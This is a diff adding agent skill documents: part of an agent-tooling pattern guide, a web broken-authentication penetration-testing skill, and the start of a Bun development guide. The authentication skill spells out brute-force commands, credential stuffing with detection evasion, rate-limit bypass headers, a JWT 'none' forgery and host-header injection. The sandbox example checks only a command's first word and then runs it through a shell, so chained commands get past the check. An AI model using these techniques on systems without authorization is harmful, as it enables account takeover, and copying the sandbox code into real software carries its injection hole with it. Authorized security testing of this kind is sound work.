+    "list_directory": PermissionLevel.AUTO,
+    "search_code": PermissionLevel.AUTO,
+
+    # Medium risk - ask once
+    "write_file": PermissionLevel.ASK_ONCE,
+    "edit_file": PermissionLevel.ASK_ONCE,
+
+    # High risk - ask each time
+    "run_command": PermissionLevel.ASK_EACH,
+    "delete_file": PermissionLevel.ASK_EACH,
+
+    # Dangerous - never auto-approve
+    "sudo_command": PermissionLevel.NEVER,
+    "format_disk": PermissionLevel.NEVER
+}
+```
+
+### 3.2 Approval UI Pattern
+
+```python
+class ApprovalManager:
+    def __init__(self, ui, config):
+        self.ui = ui
+        self.config = config
+        self.session_approvals = {}
+
+    def request_approval(self, tool_name: str, args: dict) -> bool:
+        level = self.config.get(tool_name, PermissionLevel.ASK_EACH)
+
+        if level == PermissionLevel.AUTO:
+            return True
+
+        if level == PermissionLevel.NEVER:
+            self.ui.show_error(f"Tool '{tool_name}' is not allowed")
+            return False
+
+        if level == PermissionLevel.ASK_ONCE:
+            if tool_name in self.session_approvals:
+                return self.session_approvals[tool_name]
+
+        # Show approval dialog
+        approved = self.ui.show_approval_dialog(
+            tool=tool_name,
+            args=args,
+            risk_level=self._assess_risk(tool_name, args)
+        )
+
+        if level == PermissionLevel.ASK_ONCE:
+            self.session_approvals[tool_name] = approved
+
+        return approved
+
+    def _assess_risk(self, tool_name: str, args: dict) -> str:
+        """Analyze specific call for risk level"""
+        if tool_name == "run_command":
+            cmd = args.get("command", "")
+            if any(danger in cmd for danger in ["rm -rf", "sudo", "chmod"]):
+                return "HIGH"
+        return "MEDIUM"
+```
+
+### 3.3 Sandboxing
+
+```python
+class SandboxedExecution:
+    """
+    Execute code/commands in isolated environment
+    """
+
+    def __init__(self, workspace_dir: str):
+        self.workspace = workspace_dir
+        self.allowed_commands = ["npm", "python", "node", "git", "ls", "cat"]
+        self.blocked_paths = ["/etc", "/usr", "/bin", os.path.expanduser("~")]
+
+    def validate_path(self, path: str) -> bool:
+        """Ensure path is within workspace"""
+        real_path = os.path.realpath(path)
+        workspace_real = os.path.realpath(self.workspace)
+        return real_path.startswith(workspace_real)
+
+    def validate_command(self, command: str) -> bool:
+        """Check if command is allowed"""
+        cmd_parts = shlex.split(command)
+        if not cmd_parts:
+            return False
+
+        base_cmd = cmd_parts[0]
+        return base_cmd in self.allowed_commands
+
+    def execute_sandboxed(self, command: str) -> ToolResult:
+        if not self.validate_command(command):
+            return ToolResult(
+                success=False,
+                error=f"Command not allowed: {command}"
+            )
+
+        # Execute in isolated environment
+        result = subprocess.run(
+            command,
+            shell=True,
+            cwd=self.workspace,
+            capture_output=True,
+            timeout=30,
+            env={
+                **os.environ,
+                "HOME": self.workspace,  # Isolate home directory
+            }
+        )
+
+        return ToolResult(
+            success=result.returncode == 0,
+            output=result.stdout.decode(),
+            error=result.stderr.decode() if result.returncode != 0 else None
+        )
+```
+
+---
+
+## 4. Browser Automation
+
+### 4.1 Browser Tool Pattern
+
+```python
+class BrowserTool:
+    """
+    Browser automation for agents using Playwright/Puppeteer.
+    Enables visual debugging and web testing.
+    """
+
+    def __init__(self, headless: bool = True):
+        self.browser = None
+        self.page = None
+        self.headless = headless
+
+    async def open_url(self, url: str) -> ToolResult:
+        """Navigate to URL and return page info"""
+        if not self.browser:
+            self.browser = await playwright.chromium.launch(headless=self.headless)
+            self.page = await self.browser.new_page()
+
+        await self.page.goto(url)
+
+        # Capture state
+        screenshot = await self.page.screenshot(type='png')
+        title = await self.page.title()
+
+        return ToolResult(
+            success=True,
+            output=f"Loaded: {title}",
+            metadata={
+                "screenshot": base64.b64encode(screenshot).decode(),
+                "url": self.page.url
+            }
+        )
+
+    async def click(self, selector: str) -> ToolResult:
+        """Click on an element"""
+        try:
+            await self.page.click(selector, timeout=5000)
+            await self.page.wait_for_load_state("networkidle")
+
+            screenshot = await self.page.screenshot()
+            return ToolResult(
+                success=True,
+                output=f"Clicked: {selector}",
+                metadata={"screenshot": base64.b64encode(screenshot).decode()}
+            )
+        except TimeoutError:
+            return ToolResult(
+                success=False,
+                error=f"Element not found: {selector}"
+            )
+
+    async def type_text(self, selector: str, text: str) -> ToolResult:
+        """Type text into an input"""
+        await self.page.fill(selector, text)
+        return ToolResult(success=True, output=f"Typed into {selector}")
+
+    async def get_page_content(self) -> ToolResult:
+        """Get accessible text content of the page"""
+        content = await self.page.evaluate("""
+            () => {
+                // Get visible text
+                const walker = document.createTreeWalker(
+                    document.body,
+                    NodeFilter.SHOW_TEXT,
+                    null,
+                    false
+                );
+
+                let text = '';
+                while (walker.nextNode()) {
+                    const node = walker.currentNode;
+                    if (node.textContent.trim()) {
+                        text += node.textContent.trim() + '\\n';
+                    }
+                }
+                return text;
+            }
+        """)
+        return ToolResult(success=True, output=content)
+```
+
+### 4.2 Visual Agent Pattern
+
+```python
+class VisualAgent:
+    """
+    Agent that uses screenshots to understand web pages.
+    Can identify elements visually without selectors.
+    """
+
+    def __init__(self, llm, browser):
+        self.llm = llm
+        self.browser = browser
+
+    async def describe_page(self) -> str:
+        """Use vision model to describe current page"""
+        screenshot = await self.browser.screenshot()
+
+        response = self.llm.chat([
+            {
+                "role": "user",
+                "content": [
+                    {"type": "text", "text": "Describe this webpage. List all interactive elements you see."},
+                    {"type": "image", "data": screenshot}
+                ]
+            }
+        ])
+
+        return response.content
+
+    async def find_and_click(self, description: str) -> ToolResult:
+        """Find element by visual description and click it"""
+        screenshot = await self.browser.screenshot()
+
+        # Ask vision model to find element
+        response = self.llm.chat([
+            {
+                "role": "user",
+                "content": [
+                    {
+                        "type": "text",
+                        "text": f"""
+                        Find the element matching: "{description}"
+                        Return the approximate coordinates as JSON: {{"x": number, "y": number}}
+                        """
+                    },
+                    {"type": "image", "data": screenshot}
+                ]
+            }
+        ])
+
+        coords = json.loads(response.content)
+        await self.browser.page.mouse.click(coords["x"], coords["y"])
+
+        return ToolResult(success=True, output=f"Clicked at ({coords['x']}, {coords['y']})")
+```
+
+---
+
+## 5. Context Management
+
+### 5.1 Context Injection Patterns
+
+````python
+class ContextManager:
+    """
+    Manage context provided to the agent.
+    Inspired by Cline's @-mention patterns.
+    """
+
+    def __init__(self, workspace: str):
+        self.workspace = workspace
+        self.context = []
+
+    def add_file(self, path: str) -> None:
+        """@file - Add file contents to context"""
+        with open(path, 'r') as f:
+            content = f.read()
+
+        self.context.append({
+            "type": "file",
+            "path": path,
+            "content": content
+        })
+
+    def add_folder(self, path: str, max_files: int = 20) -> None:
+        """@folder - Add all files in folder"""
+        for root, dirs, files in os.walk(path):
+            for file in files[:max_files]:
+                file_path = os.path.join(root, file)
+                self.add_file(file_path)
+
+    def add_url(self, url: str) -> None:
+        """@url - Fetch and add URL content"""
+        response = requests.get(url)
+        content = html_to_markdown(response.text)
+
+        self.context.append({
+            "type": "url",
+            "url": url,
+            "content": content
+        })
+
+    def add_problems(self, diagnostics: list) -> None:
+        """@problems - Add IDE diagnostics"""
+        self.context.append({
+            "type": "diagnostics",
+            "problems": diagnostics
+        })
+
+    def format_for_prompt(self) -> str:
+        """Format all context for LLM prompt"""
+        parts = []
+        for item in self.context:
+            if item["type"] == "file":
+                parts.append(f"## File: {item['path']}\n```\n{item['content']}\n```")
+            elif item["type"] == "url":
+                parts.append(f"## URL: {item['url']}\n{item['content']}")
+            elif item["type"] == "diagnostics":
+                parts.append(f"## Problems:\n{json.dumps(item['problems'], indent=2)}")
+
+        return "\n\n".join(parts)
+````
+
+### 5.2 Checkpoint/Resume
+
+```python
+class CheckpointManager:
+    """
+    Save and restore agent state for long-running tasks.
+    """
+
+    def __init__(self, storage_dir: str):
+        self.storage_dir = storage_dir
+        os.makedirs(storage_dir, exist_ok=True)
+
+    def save_checkpoint(self, session_id: str, state: dict) -> str:
+        """Save current agent state"""
+        checkpoint = {
+            "timestamp": datetime.now().isoformat(),
+            "session_id": session_id,
+            "history": state["history"],
+            "context": state["context"],
+            "workspace_state": self._capture_workspace(state["workspace"]),
+            "metadata": state.get("metadata", {})
+        }
+
+        path = os.path.join(self.storage_dir, f"{session_id}.json")
+        with open(path, 'w') as f:
+            json.dump(checkpoint, f, indent=2)
+
+        return path
+
+    def restore_checkpoint(self, checkpoint_path: str) -> dict:
+        """Restore agent state from checkpoint"""
+        with open(checkpoint_path, 'r') as f:
+            checkpoint = json.load(f)
+
+        return {
+            "history": checkpoint["history"],
+            "context": checkpoint["context"],
+            "workspace": self._restore_workspace(checkpoint["workspace_state"]),
+            "metadata": checkpoint["metadata"]
+        }
+
+    def _capture_workspace(self, workspace: str) -> dict:
+        """Capture relevant workspace state"""
+        # Git status, file hashes, etc.
+        return {
+            "git_ref": subprocess.getoutput(f"cd {workspace} && git rev-parse HEAD"),
+            "git_dirty": subprocess.getoutput(f"cd {workspace} && git status --porcelain")
+        }
+```
+
+---
+
+## 6. MCP (Model Context Protocol) Integration
+
+### 6.1 MCP Server Pattern
+
+```python
+from mcp import Server, Tool
+
+class MCPAgent:
+    """
+    Agent that can dynamically discover and use MCP tools.
+    'Add a tool that...' pattern from Cline.
+    """
+
+    def __init__(self, llm):
+        self.llm = llm
+        self.mcp_servers = {}
+        self.available_tools = {}
+
+    def connect_server(self, name: str, config: dict) -> None:
+        """Connect to an MCP server"""
+        server = Server(config)
+        self.mcp_servers[name] = server
+
+        # Discover tools
+        tools = server.list_tools()
+        for tool in tools:
+            self.available_tools[tool.name] = {
+                "server": name,
+                "schema": tool.schema
+            }
+
+    async def create_tool(self, description: str) -> str:
+        """
+        Create a new MCP server based on user description.
+        'Add a tool that fetches Jira tickets'
+        """
+        # Generate MCP server code
+        code = self.llm.generate(f"""
+        Create a Python MCP server with a tool that does:
+        {description}
+
+        Use the FastMCP framework. Include proper error handling.
+        Return only the Python code.
+        """)
+
+        # Save and install
+        server_name = self._extract_name(description)
+        path = f"./mcp_servers/{server_name}/server.py"
+
+        with open(path, 'w') as f:
+            f.write(code)
+
+        # Hot-reload
+        self.connect_server(server_name, {"path": path})
+
+        return f"Created tool: {server_name}"
+```
+
+---
+
+## Best Practices Checklist
+
+### Agent Design
+
+- [ ] Clear task decomposition
+- [ ] Appropriate tool granularity
+- [ ] Error handling at each step
+- [ ] Progress visibility to user
+
+### Safety
+
+- [ ] Permission system implemented
+- [ ] Dangerous operations blocked
+- [ ] Sandbox for untrusted code
+- [ ] Audit logging enabled
+
+### UX
+
+- [ ] Approval UI is clear
+- [ ] Progress updates provided
+- [ ] Undo/rollback available
+- [ ] Explanation of actions
+
+---
+
+## Resources
+
+- [Cline](https://github.com/cline/cline)
+- [OpenAI Codex](https://github.com/openai/codex)
+- [Model Context Protocol](https://modelcontextprotocol.io/)
+- [Anthropic Tool Use](https://docs.anthropic.com/claude/docs/tool-use)

skills/broken-authentication/SKILL.md

@@ -0,0 +1,473 @@
+---
+name: Broken Authentication Testing
+description: This skill should be used when the user asks to "test for broken authentication vulnerabilities", "assess session management security", "perform credential stuffing tests", "evaluate password policies", "test for session fixation", or "identify authentication bypass flaws". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications.
+---
+
+# Broken Authentication Testing
+
+## Purpose
+
+Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.
+
+## Prerequisites
+
+### Required Knowledge
+- HTTP protocol and session mechanisms
+- Authentication types (SFA, 2FA, MFA)
+- Cookie and token handling
+- Common authentication frameworks
+
+### Required Tools
+- Burp Suite Professional or Community
+- Hydra or similar brute-force tools
+- Custom wordlists for credential testing
+- Browser developer tools
+
+### Required Access
+- Target application URL
+- Test account credentials
+- Written authorization for testing
+
+## Outputs and Deliverables
+
+1. **Authentication Assessment Report** - Document all identified vulnerabilities
+2. **Credential Testing Results** - Brute-force and dictionary attack outcomes
+3. **Session Security Analysis** - Token randomness and timeout evaluation
+4. **Remediation Recommendations** - Security hardening guidance
+
+## Core Workflow
+
+### Phase 1: Authentication Mechanism Analysis
+
+Understand the application's authentication architecture:
+
+```
+# Identify authentication type
+- Password-based (forms, basic auth, digest)
+- Token-based (JWT, OAuth, API keys)
+- Certificate-based (mutual TLS)
+- Multi-factor (SMS, TOTP, hardware tokens)
+
+# Map authentication endpoints
+/login, /signin, /authenticate
+/register, /signup
+/forgot-password, /reset-password
+/logout, /signout
+/api/auth/*, /oauth/*
+```
+
+Capture and analyze authentication requests:
+
+```http
+POST /login HTTP/1.1
+Host: target.com
+Content-Type: application/x-www-form-urlencoded
+
+username=test&password=test123
+```
+
+### Phase 2: Password Policy Testing
+
+Evaluate password requirements and enforcement:
+
+```bash
+# Test minimum length (a, ab, abcdefgh)
+# Test complexity (password, password1, Password1!)
+# Test common weak passwords (123456, password, qwerty, admin)
+# Test username as password (admin/admin, test/test)
+```
+
+Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.
+
+### Phase 3: Credential Enumeration
+
+Test for username enumeration vulnerabilities:
+
+```bash
+# Compare responses for valid vs invalid usernames
+# Invalid: "Invalid username" vs Valid: "Invalid password"
+# Check timing differences, response codes, registration messages
+```
+
+# Password reset
+"Email sent if account exists" (secure)
+"No account with that email" (leaks info)
+
+# API responses
+{"error": "user_not_found"}
+{"error": "invalid_password"}
+```
+
+### Phase 4: Brute Force Testing
+
+Test account lockout and rate limiting:
+
+```bash
+# Using Hydra for form-based auth
+hydra -l admin -P /usr/share/wordlists/rockyou.txt \
+  target.com http-post-form \
+  "/login:username=^USER^&password=^PASS^:Invalid credentials"
+
+# Using Burp Intruder
+1. Capture login request
+2. Send to Intruder
+3. Set payload positions on password field
+4. Load wordlist
+5. Start attack
+6. Analyze response lengths/codes
+```
+
+Check for protections:
+
+```bash
+# Account lockout
+- After how many attempts?
+- Duration of lockout?
+- Lockout notification?
+
+# Rate limiting
+- Requests per minute limit?
+- IP-based or account-based?
+- Bypass via headers (X-Forwarded-For)?
+
+# CAPTCHA
+- After failed attempts?
+- Easily bypassable?
+```
+
+### Phase 5: Credential Stuffing
+
+Test with known breached credentials:
+
+```bash
+# Credential stuffing differs from brute force
+# Uses known email:password pairs from breaches
+
+# Using Burp Intruder with Pitchfork attack
+1. Set username and password as positions
+2. Load email list as payload 1
+3. Load password list as payload 2 (matched pairs)
+4. Analyze for successful logins
+
+# Detection evasion
+- Slow request rate
+- Rotate source IPs
+- Randomize user agents
+- Add delays between attempts
+```
+
+### Phase 6: Session Management Testing
+
+Analyze session token security:
+
+```bash
+# Capture session cookie
+Cookie: SESSIONID=abc123def456
+
+# Test token characteristics
+1. Entropy - Is it random enough?
+2. Length - Sufficient length (128+ bits)?
+3. Predictability - Sequential patterns?
+4. Secure flags - HttpOnly, Secure, SameSite?
+```
+
+Session token analysis:
+
+```python
+#!/usr/bin/env python3
+import requests
+import hashlib
+
+# Collect multiple session tokens
+tokens = []
+for i in range(100):
+    response = requests.get("https://target.com/login")
+    token = response.cookies.get("SESSIONID")
+    tokens.append(token)
+
+# Analyze for patterns
+# Check for sequential increments
+# Calculate entropy
+# Look for timestamp components
+```
+
+### Phase 7: Session Fixation Testing
+
+Test if session is regenerated after authentication:
+
+```bash
+# Step 1: Get session before login
+GET /login HTTP/1.1
+Response: Set-Cookie: SESSIONID=abc123
+
+# Step 2: Login with same session
+POST /login HTTP/1.1
+Cookie: SESSIONID=abc123
+username=valid&password=valid
+
+# Step 3: Check if session changed
+# VULNERABLE if SESSIONID remains abc123
+# SECURE if new session assigned after login
+```
+
+Attack scenario:
+
+```bash
+# Attacker workflow:
+1. Attacker visits site, gets session: SESSIONID=attacker_session
+2. Attacker sends link to victim with fixed session:
+   https://target.com/login?SESSIONID=attacker_session
+3. Victim logs in with attacker's session
+4. Attacker now has authenticated session
+```
+
+### Phase 8: Session Timeout Testing
+
+Verify session expiration policies:
+
+```bash
+# Test idle timeout
+1. Login and note session cookie
+2. Wait without activity (15, 30, 60 minutes)
+3. Attempt to use session
+4. Check if session is still valid
+
+# Test absolute timeout
+1. Login and continuously use session
+2. Check if forced logout after set period (8 hours, 24 hours)
+
+# Test logout functionality
+1. Login and note session
+2. Click logout
+3. Attempt to reuse old session cookie
+4. Session should be invalidated server-side
+```
+
+### Phase 9: Multi-Factor Authentication Testing
+
+Assess MFA implementation security:
+
+```bash
+# OTP brute force
+- 4-digit OTP = 10,000 combinations
+- 6-digit OTP = 1,000,000 combinations
+- Test rate limiting on OTP endpoint
+
+# OTP bypass techniques
+- Skip MFA step by direct URL access
+- Modify response to indicate MFA passed
+- Null/empty OTP submission
+- Previous valid OTP reuse
+
+# API Version Downgrade Attack (crAPI example)
+# If /api/v3/check-otp has rate limiting, try older versions:
+POST /api/v2/check-otp
+{"otp": "1234"}
+# Older API versions may lack security controls
+
+# Using Burp for OTP testing
+1. Capture OTP verification request
+2. Send to Intruder
+3. Set OTP field as payload position
+4. Use numbers payload (0000-9999)
+5. Check for successful bypass
+```
+
+Test MFA enrollment:
+
+```bash
+# Forced enrollment
+- Can MFA be skipped during setup?
+- Can backup codes be accessed without verification?
+
+# Recovery process
+- Can MFA be disabled via email alone?
+- Social engineering potential?
+```
+
+### Phase 10: Password Reset Testing
+
+Analyze password reset security:
+
+```bash
+# Token security
+1. Request password reset
+2. Capture reset link
+3. Analyze token:
+   - Length and randomness
+   - Expiration time
+   - Single-use enforcement
+   - Account binding
+
+# Token manipulation
+https://target.com/reset?token=abc123&user=victim
+# Try changing user parameter while using valid token
+
+# Host header injection
+POST /forgot-password HTTP/1.1
+Host: attacker.com
+email=victim@email.com
+# Reset email may contain attacker's domain
+```
+
+## Quick Reference
+
+### Common Vulnerability Types
+
+| Vulnerability | Risk | Test Method |
+|--------------|------|-------------|
+| Weak passwords | High | Policy testing, dictionary attack |
+| No lockout | High | Brute force testing |
+| Username enumeration | Medium | Differential response analysis |
+| Session fixation | High | Pre/post-login session comparison |
+| Weak session tokens | High | Entropy analysis |
+| No session timeout | Medium | Long-duration session testing |
+| Insecure password reset | High | Token analysis, workflow bypass |
+| MFA bypass | Critical | Direct access, response manipulation |
+
+### Credential Testing Payloads
+
+```bash
+# Default credentials
+admin:admin
+admin:password
+admin:123456
+root:root
+test:test
+user:user
+
+# Common passwords
+123456
+password
+12345678
+qwerty
+abc123
+password1
+admin123
+
+# Breached credential databases
+- Have I Been Pwned dataset
+- SecLists passwords
+- Custom targeted lists
+```
+
+### Session Cookie Flags
+
+| Flag | Purpose | Vulnerability if Missing |
+|------|---------|------------------------|
+| HttpOnly | Prevent JS access | XSS can steal session |
+| Secure | HTTPS only | Sent over HTTP |
+| SameSite | CSRF protection | Cross-site requests allowed |
+| Path | URL scope | Broader exposure |
+| Domain | Domain scope | Subdomain access |
+| Expires | Lifetime | Persistent sessions |
+
+### Rate Limiting Bypass Headers
+
+```http
+X-Forwarded-For: 127.0.0.1
+X-Real-IP: 127.0.0.1
+X-Originating-IP: 127.0.0.1
+X-Client-IP: 127.0.0.1
+X-Remote-IP: 127.0.0.1
+True-Client-IP: 127.0.0.1
+```
+
+## Constraints and Limitations
+
+### Legal Requirements
+- Only test with explicit written authorization
+- Avoid testing with real breached credentials
+- Do not access actual user accounts
+- Document all testing activities
+
+### Technical Limitations
+- CAPTCHA may prevent automated testing
+- Rate limiting affects brute force timing
+- MFA significantly increases attack difficulty
+- Some vulnerabilities require victim interaction
+
+### Scope Considerations
+- Test accounts may behave differently than production
+- Some features may be disabled in test environments
+- Third-party authentication may be out of scope
+- Production testing requires extra caution
+
+## Examples
+
+### Example 1: Account Lockout Bypass
+
+**Scenario:** Test if account lockout can be bypassed
+
+```bash
+# Step 1: Identify lockout threshold
+# Try 5 wrong passwords for admin account
+# Result: "Account locked for 30 minutes"
+
+# Step 2: Test bypass via IP rotation
+# Use X-Forwarded-For header
+POST /login HTTP/1.1
+X-Forwarded-For: 192.168.1.1
+username=admin&password=attempt1
+
+# Increment IP for each attempt
+X-Forwarded-For: 192.168.1.2
+# Continue until successful or confirmed blocked
+
+# Step 3: Test bypass via case manipulation
+username=Admin (vs admin)
+username=ADMIN
+# Some systems treat these as different accounts
+```
+
+### Example 2: JWT Token Attack
+
+**Scenario:** Exploit weak JWT implementation
+
+```bash
+# Step 1: Capture JWT token
+Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature
+
+# Step 2: Decode and analyze
+# Header: {"alg":"HS256","typ":"JWT"}
+# Payload: {"user":"test","role":"user"}
+
+# Step 3: Try "none" algorithm attack
+# Change header to: {"alg":"none","typ":"JWT"}
+# Remove signature
+eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
+
+# Step 4: Submit modified token
+Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
+```
+
+### Example 3: Password Reset Token Exploitation
+
+**Scenario:** Test password reset functionality
+
+```bash
+# Step 1: Request reset for test account
+POST /forgot-password
+email=test@example.com
+
+# Step 2: Capture reset link
+https://target.com/reset?token=a1b2c3d4e5f6
+
+# Step 3: Test token properties
+# Reuse: Try using same token twice
+# Expiration: Wait 24+ hours and retry
+# Modification: Change characters in token
+
+# Step 4: Test for user parameter manipulation
+https://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com
+# Check if admin's password can be reset with test user's token
+```
+
+## Troubleshooting
+
+| Issue | Solutions |
+|-------|-----------|
+| Brute force too slow | Identify rate limit scope; IP rotation; add delays; use targeted wordlists |
+| Session analysis inconclusive | Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts |
+| MFA cannot be bypassed | Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment |
+| Account lockout prevents testing | Request multiple test accounts; test threshold first; use slower timing |

skills/bun-development/SKILL.md

@@ -0,0 +1,691 @@
+---
+name: bun-development
+description: "Modern JavaScript/TypeScript development with Bun runtime. Covers package management, bundling, testing, and migration from Node.js. Use when working with Bun, optimizing JS/TS development speed, or migrating from Node.js to Bun."
+---
+
+# ⚡ Bun Development
+
+> Fast, modern JavaScript/TypeScript development with the Bun runtime, inspired by [oven-sh/bun](https://github.com/oven-sh/bun).
+
+## When to Use This Skill
+
+Use this skill when:
+
+- Starting new JS/TS projects with Bun
+- Migrating from Node.js to Bun
+- Optimizing development speed
+- Using Bun's built-in tools (bundler, test runner)
+- Troubleshooting Bun-specific issues
+
+---
+
+## 1. Getting Started
+
+### 1.1 Installation
+
+```bash
+# macOS / Linux
+curl -fsSL https://bun.sh/install | bash
+
+# Windows
+powershell -c "irm bun.sh/install.ps1 | iex"
+
+# Homebrew
+brew tap oven-sh/bun
+brew install bun
+
+# npm (if needed)
+npm install -g bun
+
+# Upgrade
+bun upgrade
+```
+
+### 1.2 Why Bun?
+
+| Feature         | Bun            | Node.js                     |
+| :-------------- | :------------- | :-------------------------- |
+| Startup time    | ~25ms          | ~100ms+                     |
+| Package install | 10-100x faster | Baseline                    |
+| TypeScript      | Native         | Requires transpiler         |
+| JSX             | Native         | Requires transpiler         |
+| Test runner     | Built-in       | External (Jest, Vitest)     |
+| Bundler         | Built-in       | External (Webpack, esbuild) |
+
+---
+
+## 2. Project Setup
+
+### 2.1 Create New Project
+
+```bash
+# Initialize project
+bun init
+
+# Creates:
+# ├── package.json
+# ├── tsconfig.json
+# ├── index.ts
+# └── README.md
+
+# With specific template
+bun create <template> <project-name>
+
+# Examples
+bun create react my-app        # React app
+bun create next my-app         # Next.js app
+bun create vite my-app         # Vite app
+bun create elysia my-api       # Elysia API
+```
+
+### 2.2 package.json
+
+```json
+{
+  "name": "my-bun-project",
+  "version": "1.0.0",
+  "module": "index.ts",
+  "type": "module",
+  "scripts": {
+    "dev": "bun run --watch index.ts",
+    "start": "bun run index.ts",
+    "test": "bun test",
+    "build": "bun build ./index.ts --outdir ./dist",
+    "lint": "bunx eslint ."
+  },
+  "devDependencies": {
+    "@types/bun": "latest"
+  },
+  "peerDependencies": {
+    "typescript": "^5.0.0"
+  }
+}
+```
+
+### 2.3 tsconfig.json (Bun-optimized)
+
+```json
+{
+  "compilerOptions": {
+    "lib": ["ESNext"],
+    "module": "esnext",
+    "target": "esnext",
+    "moduleResolution": "bundler",
+    "moduleDetection": "force",
+    "allowImportingTsExtensions": true,
+    "noEmit": true,
+    "composite": true,
+    "strict": true,
+    "downlevelIteration": true,
+    "skipLibCheck": true,
+    "jsx": "react-jsx",
+    "allowSyntheticDefaultImports": true,
+    "forceConsistentCasingInFileNames": true,
+    "allowJs": true,
+    "types": ["bun-types"]
+  }
+}
+```
+
+---
+
+## 3. Package Management
+
+### 3.1 Installing Packages
+
+```bash
+# Install from package.json
+bun install              # or 'bun i'
+
+# Add dependencies
+bun add express          # Regular dependency
+bun add -d typescript    # Dev dependency
+bun add -D @types/node   # Dev dependency (alias)
+bun add --optional pkg   # Optional dependency
+
+# From specific registry
+bun add lodash --registry https://registry.npmmirror.com
+
+# Install specific version
+bun add react@18.2.0
+bun add react@latest
+bun add react@next
+
+# From git
+bun add github:user/repo
+bun add git+https://github.com/user/repo.git
+```
+
+### 3.2 Removing & Updating
+
+```bash
+# Remove package
+bun remove lodash
+
+# Update packages
+bun update              # Update all
+bun update lodash       # Update specific
+bun update --latest     # Update to latest (ignore ranges)
+
+# Check outdated
+bun outdated
+```
+
+### 3.3 bunx (npx equivalent)
+
+```bash
+# Execute package binaries
+bunx prettier --write .
+bunx tsc --init
+bunx create-react-app my-app
+
+# With specific version
+bunx -p typescript@4.9 tsc --version
+
+# Run without installing
+bunx cowsay "Hello from Bun!"
+```
+
+### 3.4 Lockfile
+
+```bash
+# bun.lockb is a binary lockfile (faster parsing)
+# To generate text lockfile for debugging:
+bun install --yarn    # Creates yarn.lock
+
+# Trust existing lockfile
+bun install --frozen-lockfile
+```
+
+---
+
+## 4. Running Code
+
+### 4.1 Basic Execution
+
+```bash
+# Run TypeScript directly (no build step!)
+bun run index.ts
+
+# Run JavaScript
+bun run index.js
+
+# Run with arguments
+bun run server.ts --port 3000
+
+# Run package.json script
+bun run dev
+bun run build
+
+# Short form (for scripts)
+bun dev
+bun build
+```
+
+### 4.2 Watch Mode
+
+```bash
+# Auto-restart on file changes
+bun --watch run index.ts
+
+# With hot reloading
+bun --hot run server.ts
+```
+
+### 4.3 Environment Variables
+
+```typescript
+// .env file is loaded automatically!
+
+// Access environment variables
+const apiKey = Bun.env.API_KEY;
+const port = Bun.env.PORT ?? "3000";
+
+// Or use process.env (Node.js compatible)
+const dbUrl = process.env.DATABASE_URL;
+```
+
+```bash
+# Run with specific env file
+bun --env-file=.env.production run index.ts
+```
+
+---
+
+## 5. Built-in APIs
+
+### 5.1 File System (Bun.file)
+
+```typescript
+// Read file
+const file = Bun.file("./data.json");
+const text = await file.text();
+const json = await file.json();
+const buffer = await file.arrayBuffer();
+
+// File info
+console.log(file.size); // bytes
+console.log(file.type); // MIME type
+
+// Write file
+await Bun.write("./output.txt", "Hello, Bun!");
+await Bun.write("./data.json", JSON.stringify({ foo: "bar" }));
+
+// Stream large files
+const reader = file.stream();
+for await (const chunk of reader) {
+  console.log(chunk);
+}
+```
+
+### 5.2 HTTP Server (Bun.serve)
+
+```typescript
+const server = Bun.serve({
+  port: 3000,
+
+  fetch(request) {
+    const url = new URL(request.url);
+
+    if (url.pathname === "/") {
+      return new Response("Hello World!");
+    }
+
+    if (url.pathname === "/api/users") {
+      return Response.json([
+        { id: 1, name: "Alice" },
+        { id: 2, name: "Bob" },
+      ]);
+    }
+
+    return new Response("Not Found", { status: 404 });
+  },
+
+  error(error) {
+    return new Response(`Error: ${error.message}`, { status: 500 });
+  },
+});
+
+console.log(`Server running at http://localhost:${server.port}`);
+```
+
+### 5.3 WebSocket Server
+
+```typescript
+const server = Bun.serve({
+  port: 3000,
+
+  fetch(req, server) {
+    // Upgrade to WebSocket
+    if (server.upgrade(req)) {
+      return; // Upgraded
+    }
+    return new Response("Upgrade failed", { status: 500 });
+  },
+
+  websocket: {
+    open(ws) {
+      console.log("Client connected");
+      ws.send("Welcome!");
+    },
+
+    message(ws, message) {
+      console.log(`Received: ${message}`);
+      ws.send(`Echo: ${message}`);
+    },
+
+    close(ws) {
+      console.log("Client disconnected");
+    },
+  },
+});
+```
+
+### 5.4 SQLite (Bun.sql)
+
+```typescript
+import { Database } from "bun:sqlite";
+
+const db = new Database("mydb.sqlite");
+
+// Create table
+db.run(`
+  CREATE TABLE IF NOT EXISTS users (
+    id INTEGER PRIMARY KEY AUTOINCREMENT,
+    name TEXT NOT NULL,
+    email TEXT UNIQUE
+  )
+`);
+
+// Insert
+const insert = db.prepare("INSERT INTO users (name, email) VALUES (?, ?)");
+insert.run("Alice", "alice@example.com");
+
+// Query
+const query = db.prepare("SELECT * FROM users WHERE name = ?");
+const user = query.get("Alice");
+console.log(user); // { id: 1, name: "Alice", email: "alice@example.com" }
+
+// Query all
+const allUsers = db.query("SELECT * FROM users").all();
+```
+
+### 5.5 Password Hashing
+
+```typescript
+// Hash password
+const password = "super-secret";
+const hash = await Bun.password.hash(password);
+
+// Verify password
+const isValid = await Bun.password.verify(password, hash);
+console.log(isValid); // true
+
+// With algorithm options
+const bcryptHash = await Bun.password.hash(password, {
+  algorithm: "bcrypt",
+  cost: 12,
+});
+```
+
+---
+
+## 6. Testing
+
+### 6.1 Basic Tests
+
+```typescript
+// math.test.ts
+import { describe, it, expect, beforeAll, afterAll } from "bun:test";
+
+describe("Math operations", () => {
+  it("adds two numbers", () => {
+    expect(1 + 1).toBe(2);
+  });
+
+  it("subtracts two numbers", () => {
+    expect(5 - 3).toBe(2);
+  });
+});
+```
+
+### 6.2 Running Tests
+
+```bash
+# Run all tests
